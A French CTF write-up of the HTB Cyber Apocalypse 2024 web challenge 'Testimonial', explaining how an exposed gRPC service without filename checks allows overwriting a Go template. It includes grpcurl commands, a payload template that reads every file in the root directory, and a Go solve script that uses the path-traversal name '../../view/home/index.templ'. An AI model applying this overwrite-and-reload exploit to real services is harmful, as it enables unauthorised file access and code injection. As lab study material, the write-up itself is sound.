> For the complete documentation index, see [llms.txt](https://ctf.thaysan.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.thaysan.com/ctf-and-writeups/2024-or-htb-cyber-apocalypse-challenges/web/testimonial.md).

# Testimonial

**Catégorie:** Web\
**Difficulté:** easy\
**Flag:** HTB{w34kly\_t35t3d\_t3mplate5}

## Challenge

{% file src="/files/S0sSsfXxnGcFgEKNLsCP" %}

{% hint style="info" %}

#### Description

***

The challenge involves an recruitment page for "They Fray" and allows anyone to submit a testimonial. The webstack utilizes GoLang with chi/templ and is deployed via Air, which allows for live reloading of golang applications. Testimonials is a GRPC Microservice and stored/retrieved as files. Exploitation occours because the Testimonial microservice is exposed to end-users, which provides the ability to overwrite the golang files on the webservice. Due to air live reloading files, it is possible to inject arbituary code.
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker, disponible sur [Github](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/%5BEasy%5D%20Testimonial)
{% endhint %}

## Analyse globale

Le site est très simple, on a un formulaire et des card qui correspondes aux différents formulaires déjà soumis

<figure><img src="/files/yGeHWxzBIo6aS6NUxa3I" alt=""><figcaption></figcaption></figure>

Concernant le code, on voit que l’on a 2 services qui écoutent

* Un service HTTP
* Un service GRPC

<figure><img src="/files/odnIQIleOCXEuPMs2HtB" alt=""><figcaption></figcaption></figure>

Dans **`/grpc.go`** il y a la fonction **`SubmitTestimonial`** qui permet d’enregistrer dans **`/public/testimonials/`** les formulaires reçus. Il faut noter que le nom du fichier est d’ailleurs le nom du customer

<figure><img src="/files/L60MnIAcklRi7MnCa1L3" alt=""><figcaption></figcaption></figure>

Dans **`/client/client.go`** on s’aperçoit que l’on a une restriction lorsque l’on soumet un formulaire, le nom du customer ne peut pas contenir n’importe quel caractère

<figure><img src="/files/mfZmbBWQSezRO2APbY8d" alt=""><figcaption></figcaption></figure>

Seulement comme nous avons vu juste avant, le service GRPC ne contient pas ces restrictions lui-même, ce qu’il fait que **si l’on passe directement par lui et non par le service web, on peut choisir n’importe quel nom de fichier et écraser des fichiers existants**

***

## Exploitation

On commence par se connecter au service GRPC avec **`grpcurl`**

```
$ grpcurl --plaintext 94.237.53.3:31132 list
Failed to list services: server does not support the reflection API
```

Comme le service ne supporte pas la réflexion, la documentation nous dit que l’on peut fournir directement le fichier proto

<figure><img src="/files/Vots86r1rqpXClQEtQdf" alt=""><figcaption></figcaption></figure>

```
$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 list 
RickyService

$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 describe RickyService
RickyService is a service:
service RickyService {
  rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
```

On peut maintenant appeler la fonction **`SubmitTestimonial`** avec notre payload

Pour ça, on va le faire en Go en reprenant le dossier **`/ptb/`** pour se connecter au serveur GPRC.

Concernant le payload, il faut simplement copier-coller **`/view/home/index.templ`** et remplacer **`fsys := os.DirFS("public/testimonials")`** par `**fsys := os.DirFS("/")**` ce qui permettra de lire tous les fichiers à la racine

Et enfin pour le nom ce sera **`../../view/home/index.templ`** pour remonter jusqu’au dossier du challenge puis redescendre jusqu’à **`index.templ`** pour l’écraser

{% code title="payload.templ" %}

```go
package home

import (
	"htbchal/view/layout"
	"io/fs"	
	"fmt"
	"os"
)

templ Index() {
	@layout.App(true) {
<nav class="navbar navbar-expand-lg navbar-dark bg-black">
  <div class="container-fluid">
    <a class="navbar-brand" href="/">The Fray</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
        <ul class="navbar-nav ml-auto">
            <li class="nav-item active">
                <a class="nav-link" href="/">Home</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Factions</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Trials</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Contact</a>
            </li>
        </ul>
    </div>
  </div>
</nav>

<div class="container">
  <section class="jumbotron text-center">
      <div class="container mt-5">
          <h1 class="display-4">Welcome to The Fray</h1>
          <p class="lead">Assemble your faction and prove you're the last one standing!</p>
          <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
      </div>
  </section>

  <section class="container mt-5">
      <h2 class="text-center mb-4">What Others Say</h2>
      <div class="row">
          @Testimonials()
      </div>
  </section>

  <div class="row mt-5 mb-5">
    <div class="col-md">
      <h2 class="text-center mb-4">Submit Your Testimonial</h2>
      <form method="get" action="/">
        <div class="form-group">
          <label class="mt-2" for="testimonialText">Your Testimonial</label>
          <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
        </div>
        <div class="form-group">
          <label class="mt-2" for="testifierName">Your Name</label>
          <input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
        </div>
        <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
      </form>
    </div>
  </div>
</div>

<footer class="bg-black text-white text-center py-3">
    <p>&copy; 2024 The Fray. All Rights Reserved.</p>
</footer>
	}
}

func GetTestimonials() []string {
	fsys := os.DirFS("/")	
	files, err := fs.ReadDir(fsys, ".")		
	if err != nil {
		return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
	}
	var res []string
	for _, file := range files {
		fileContent, _ := fs.ReadFile(fsys, file.Name())
		res = append(res, string(fileContent))		
	}
	return res
}

templ Testimonials() {
  for _, item := range GetTestimonials() {
    <div class="col-md-4">
        <div class="card mb-4">
            <div class="card-body">
                <p class="card-text">"{item}"</p>
                <p class="text-muted">- Anonymous Testifier</p>
            </div>
        </div>
    </div>
  }
}
```

{% endcode %}

{% code title="solve.go" %}

```go
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"htbchal/pb"
)

func main() {
    // Lecture du contenu du fichier "payload.templ"
    content, err := ioutil.ReadFile("payload.templ")
    if err != nil {
        log.Fatalf("Erreur lors de la lecture du fichier: %v", err)
    }

    // Adresse du serveur gRPC
    serverAddress := "94.237.57.59:49450" // Remplacez par l'adresse de votre serveur gRPC

    // Connexion au serveur gRPC
    conn, err := grpc.Dial(serverAddress, grpc.WithInsecure())
    if err != nil {
        log.Fatalf("Impossible de se connecter au serveur: %v", err)
    }
    defer conn.Close()

    // Création d'un client gRPC
    client := pb.NewRickyServiceClient(conn)

    // Envoi du contenu du fichier via gRPC
    response, err := client.SubmitTestimonial(context.Background(), &pb.TestimonialSubmission{Customer: "../../view/home/index.templ", Testimonial: string(content)})
    if err != nil {
        log.Fatalf("Erreur lors de l'envoi du témoignage via gRPC: %v", err)
    }

    // Affichage de la réponse du serveur
    fmt.Println("Réponse du serveur gRPC:", response.Message)
}

```

{% endcode %}

Ce qui nous donne maintenant sur la page principale

<figure><img src="/files/jbClFKZhwvl1xpwPCKxS" alt=""><figcaption></figcaption></figure>
